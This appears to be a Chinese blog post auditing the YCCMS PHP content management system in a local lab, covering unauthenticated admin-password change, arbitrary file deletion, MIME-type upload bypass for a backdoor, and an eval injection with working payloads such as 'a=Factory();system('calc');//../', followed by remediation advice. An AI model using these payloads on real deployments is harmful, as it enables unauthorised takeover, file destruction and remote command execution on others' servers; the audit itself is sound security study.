yccms

yccms审计

https://xz.aliyun.com/news/9362
https://xz.aliyun.com/news/7343
https://www.cnblogs.com/KRookieSec/p/17142265.html

一、基础分析

  • url信息收集

    // 上传文件时的请求url
    http://127.0.0.1/admin/?a=article&m=add
    
    // 并且通过观察
    找到
        1/controller/ArticleAction.class.php文件下
        	public function add(){
    		if(isset($_POST['send'])){
    			$this->getPost();
    
  • 版本以及利用框架分析

    搜索version无果
    直接搜thinkphp依旧无果
    于是放弃
    
  • 除此之外是一个典型mvc模型

二、代码审计

1.未授权更改管理员账号密码

1.url:
http://127.0.0.1/admin/?a=admin&m=update

2.定位文件内容
1/controller/AdminAction.class.php
$_edit=$this->_model->editAdmin();函数

1/model/AdminModel.class.php
class AdminModel extends Model{
	public function editAdmin(){
  • 通过分析查看,未发现任何鉴权行为,所以可以未登录情况下调用接口直接修改密码账号

  • 举一反三,找到更多没有鉴权就可以执行的行为

    • http://127.0.0.1/admin/?a=article&m=delete&id=2450
      

2.任意文件删除

1.接上回我们发现admin账户下执行的操作函数都没有进行鉴权判断
于是找到了
http://127.0.0.1/admin/?a=pic
图片管理
即1/controller/PicAction.class.php文件

2.找到了删除接口
http://127.0.0.1/admin/?a=pic&m=delall

1/controller/PicAction.class.php文件下

	public function delall(){
		if(isset($_POST['send'])){
			if(validate::isNullString($_POST['pid'])) tool::layer_alert('没有选择任何图片!','?a=pic',7);
			$_fileDir=ROOT_PATH.'/uploads/';
			foreach($_POST['pid'] as $_value){
				$_filePath=$_fileDir.$_value;
				if(!unlink($_filePath)){
					tool::layer_alert('图片删除失败,请设权限为777!','?a=pic',7);
				}else{
					header('Location:?a=pic');
				}
			}
			
很明显,没有任何过滤等等,传入pid数组即可删除,于是利用hackbar构造

http://127.0.0.1/admin/?a=pic&m=delall
pid[0]=chuan1.png
chkall=on
send=删除选中图片
  • 成功复现,同时也是未授权漏洞

3.文件上传(1)

1.文件上传url
http://127.0.0.1/admin/?a=call&m=upfile&type=content

结果转到
a=call&m=upLoad

定位函数
	public function upLoad() {
		if (isset($_POST['send'])) {
			$_logoupload = new LogoUpload('pic',$_POST['MAX_FILE_SIZE']);
			$_path = $_logoupload->getPath();
			$_img = new Image($_path);
			$_img->xhImg(960,0);
			$_img->out();
			//echo $_path;
			$_logoupload->alertOpenerClose('图片上传成功!','..'.$_path);
		} else {
			exit('警告:文件过大或者其他未知错误导致浏览器崩溃!');
		}

定位到验证函数
	//验证类型
	$this->type = $_FILES[$_file]['type'];
	//$_FILES[$_file]['type'] 的取值就是浏览器(或用户代理)在发起文件上传请求时,根据文件扩展名或简单内容嗅探填写的 MIME type 字符串。
        
	private function checkType() {
		if (!in_array($this->type,$this->typeArr)) {
			Tool::alertBack('警告:LOGO图片必须是PNG格式!');
		}
	}
	
    //所以只需要上传的时候抓包将Content-Type字段修改image/png就ok
	
  • 成功上传后门

4.文件上传(2)

1.同文件下1/controller/CallAction.class.php
	public function xhUp() {
	在进行检查的时候
		private function checkType() {
		if (!in_array($this->type,$this->typeArr)) {
			Tool::alertBack('警告:不合法的上传类型!');
		}
	}
	跟上面的问题一样,可以利用动态调试检验流程
	
2.构造url
http://127.0.0.1/admin/?a=call&m=xhUp&type=content

我的电脑配置环境有问题不展示,动态调试下1
  • image-20250815235451196

5.代码执行

  • 通过搜索关键字eval

    image-20250816000031458
  • 定位到1/public/class/Factory.class.php开始分析

    1.此处代码如下
    
    $_a=self::getA();
    if (!file_exists(ROOT_PATH.'/controller/'.ucfirst($_a).'Action.class.php')) $_a = 'Login';
    eval('self::$_obj = new '.ucfirst($_a).'Action();');
    
    getA()是指
    		static public function getA(){
    		if(isset($_GET['a']) && !empty($_GET['a'])){
    			return $_GET['a'];
    		}
    		return 'login';
    		
    
    
    2.所以便是接收一个a参数进行eval调用
    尝试绕过
    让file_exists()存在  闭合new
    
    a=Factory();phpinfo();//../
    
    
    
    
  • 该处的注意点

    • $path = 'D:/phpstudy_pro/WWW/xiaodi/1/controller/Factory();phpinfo();//..//Action.class.php'; 路径相当于路径D:\phpstudy_pro\WWW\xiaodi\1\controller\Action.class.php

    • eval('self::$_obj = new '.ucfirst($_a).'Action();');a=a=Factory();phpinfo();//../之后执行的代码相当于self::$_obj = new Factory();phpinfo();//../Action(); 最后的//相当于注释

    • //相当于
      self::$_obj = new Factory();
      phpinfo();
      //../Action(); // 被注释掉了
      
      Windows 下 PHP 的 file_exists() 会自动规范化路径,// 被当成 \,.. 被当成上级目录,所以你的“奇怪路径”被解析成了另一个真实存在的文件,导致返回了 true
      
  • 尝试调用

    Factory.class.php类文件无法直接调用
    于是寻找间接第调用
    找到
    1/config/run.inc.php
    Factory::setAction()->run();
    
    依旧无法,但发现该文件是配置文件,发现调用该文件
    
    • image-20250816003144749
    • 构造三处payload
      1/search/index.php
      127.0.0.1/search/index.php?a=Factory();phpinfo();//../
      
      1/admin/index.php
      127.0.0.1/admin/index.php?a=Factory();phpinfo();//../
      
      1/config/count.php
      127.0.0.1/config/count.php?a=Factory();phpinfo();//../
      
      
      http://127.0.0.1/admin/index.php?a=Factory();system(%27calc%27);//../
      
      • 甚至能执行电脑命令
      • image-20250816003920786

三、弥补

  • 对于任意文件删除漏洞,可以通过在拼接路径时先进行正则匹配过滤,或者通过加密的ID去删除,不要直接拼接路径
  • 对于任意文件上传漏洞可以更换后缀的验证方式为白名单的验证方式
  • 对于任意篡改管理员账号密码可以对传入的用户名进行校验是否是当前用户
  • 对于上述所有的操作都要进行权限访问控制,不要进行未授权的操作
posted @ 2025-08-17 01:10  chuanchu  阅读(16)  评论(0)    收藏  举报